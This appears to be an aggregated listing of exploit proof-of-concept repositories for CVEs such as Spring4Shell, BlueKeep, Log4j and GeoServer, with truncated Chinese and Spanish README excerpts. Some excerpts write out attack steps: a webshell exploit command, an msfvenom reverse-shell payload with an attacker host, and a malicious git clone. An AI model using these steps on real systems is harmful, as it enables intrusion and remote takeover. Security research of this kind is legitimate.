SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework 远程代码执行漏洞CVE-2022-22965 漏洞复现环境 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 写webshell 注意：验证测试时Shell只能写一次， 利用脚本 python CVE-2022-22965.py http://target.com:8090...

CVE-2025-471812-POC

/ | / | / / | / / / |/ // / / / / / / &password= 2. El servidor autentica "anonymous" truncado en el byte nulo...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin 概念验证 pgAdmin 查询工具 RCE CVE-2025-2945 – Python 概念验证 ⚠️ 免责声明 本仓库包含 CVE-2025-2945 的概念验证漏洞利用代码，这是 pgAdmin 4 9.2 之前版本中的一个严重远程代码执行漏洞。仅在你拥有或明确授权的环境中使用此代码。作者不对因使用本软件造成的任何误用或损害负责。 目录 1. 概述 2. 漏洞详情 CVE-2025-2945 3. 前提条件 4. 安装与设置 5. 用法 6. 漏洞利用流程 7. 检测与缓解 8. 许可协议 概述 本仓库提供一个独立的 Python...

CVE-2019-0708

CVE-2019-0708 Scanner PoC no autenticado para CVE-2019-0708 "BlueKeep" por @JaGoTu y @zerosum0x0. Detalles técnicos: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Módulo de Metasploit El módulo de Metasploit ha sido incorporado a rapid7:master. msf5 use...

CVE-2025-56015

CVE-2025-56015 GenieACS RCE 概述 针对 CVE-2025-56015 的概念验证漏洞利用代码，该漏洞是 GenieACS 中的一个严重沙箱逃逸和代码注入漏洞，允许在配置上下文中执行任意 JavaScript。通过利用 declare.constructor.constructor 原型链，攻击者可以逃逸受限的 JavaScript 环境，访问底层 Node.js 的 childprocess 和 net 模块，并实现完整的远程代码执行（RCE） 。 利用类型： 远程 认证要求： 需要能够访问 GenieACS 的 NBI（端口 7557）和 ACS（端口...

CVE-2025-61304

CVE-2025-61304 "Vulnerabilidad de inyección de comandos del sistema operativo en la extensión de ping de Dynatrace ActiveGate hasta la versión 1.016 mediante una dirección IP manipulada" En segundo plano, la extensión de ping utiliza el símbolo del sistema de Windows para realizar el ping. El cam...

CVE-2024-36401

RCE para CVE-2024-36401 POC para CVE-2024-36401 GeoServer. Este POC intentará establecer un shell inverso del sistema desde los objetivos. Resumen POC para CVE-2024-36401: RCE para versiones de GeoServer anteriores a 2.25.1, 2.24.3 y 2.23.5. Este POC se basa en el aviso de seguridad de phith0n...

CVE-2024-4040

CVE-2024-4040 Una vulnerabilidad de inyección de plantillas del lado del servidor en CrushFTP en todas las versiones anteriores a 10.7.1 y 11.1.0 en todas las plataformas permite a atacantes remotos no autenticados leer archivos del sistema de archivos fuera del VFS Sandbox, eludir la autenticaci...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – FreeRTOS-Plus-TCP 越界写入漏洞利用 远程内存损坏 / 拒绝服务 / 潜在远程代码执行触发 ——在FreeRTOS-Plus-TCP处理LLMNR或mDNS查询中过长的DNS名称时发生（缓冲区分配方案1）。 漏洞利用作者： Mohammed Idrees Banyamer 所在国家： 约旦 Instagram： @banyamersecurity 日期： 2025年12月26日 概述 本PoC发送一个精心构造的UDP多播数据包，其中包含一个超长的DNS名称，以触发存在漏洞的FreeRTOS-Plus-TCP （v2.3.4 –...

CVE-2019-0708

CVE-2019-0708 BlueKeep 预认证 RCE POC 在 Windows7 上 本仓库演示了 Windows 远程桌面服务 RDS 中的远程代码执行漏洞。 这是我们之前开发的关于 BlueKeep 漏洞的 POC 代码和技术报告。 注意： 我们的目标是帮助分析人员更好地理解关键漏洞。 使用方法 前置条件 我们的利用代码使用 Python 3 编写，并依赖于 PyRDP 库。请按照 PyRDP 的安装指南进行设置。 用法 目前，我们的利用工具针对并在 Virtual Box 上的 Windows 7 SP 1 6.1.7601 x64 上进行了测试。 如果你的计算机 IP...

git_rce

CVE-2024-32002 PoC 1. Debes configurar la opción de enlace simbólico de git de la siguiente manera: git config --global core.symlinks true 2. Luego explota CVE-2024-32002 con el siguiente comando: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Escenario de Ataque...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC Acerca de CVE-2022-24086, que Adobe vio siendo "explotado en la naturaleza en ataques muy limitados", recibió una puntuación de gravedad de 9.8 sobre 10, y los adversarios que lo explotan pueden lograr la ejecución remota de código en los sistemas afectados sin necesidad de...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 这是 log4j RCE 的概念验证。 以下是一些关于 CVE-2021-44228 的链接： https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608 https://www.youtube.com/watch?v=JPGola6BamU 此漏洞影响几乎所有 log4j...

CVE-2009-3999

CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - parece aterrador. Todavía recuerdo Stagefright y los bugs/vulns de PNG... Con CVE-2019-2107 el decodificador/códec se ejecuta bajo el usuario mediacodec y con un vídeo debidamente "manipulado" con tiles habilitados - pspps-i1tilesenabledflag puedes...

JSShell

JSShell 2.0 Un shell de JavaScript interactivo multiusuario basado en la web. Fue creado inicialmente para depurar navegadores esotéricos remotos durante experimentos e investigación. Esta herramienta se puede adjuntar fácilmente a cargas útiles XSS Cross Site Scripting para lograr la ejecución...

react2shell

React2Shell 一款用于利用React Server Components / Server Actions中原型污染漏洞（CVE-2025-55182 和 CVE-2025-66478）的CLI工具，可在易受攻击的服务器上实现远程代码执行（RCE）。 原始PoC：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 警告：此工具针对一个严重漏洞（CVSS 10.0），该漏洞正在被积极利用。 仅可在您拥有所有权或已获得明确授权的系统上使用。 法律免责声明...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Inyección OGNL a RCE en Adobe AEM Forms on JEE 🔎 Descripción general CVE-2025-54253 es una vulnerabilidad crítica de inyección OGNL en Adobe AEM Forms on JEE. Permite a atacantes no autenticados ejecutar comandos arbitrarios del sistema operativo a través del endpoint...

CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

CVE-2026-32238 - Ejecución remota de código en OpenEMR Debilidad CWE-78 : Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo 'Inyección de comandos del sistema operativo' El producto construye todo o parte de un comando del sistema operativo utilizand...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、pon el cmd.vm en tu sitio web debe usar ftp o https ,http no funciona 2、modifica RCEexp.py ，cambia el nombre de archivo = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python...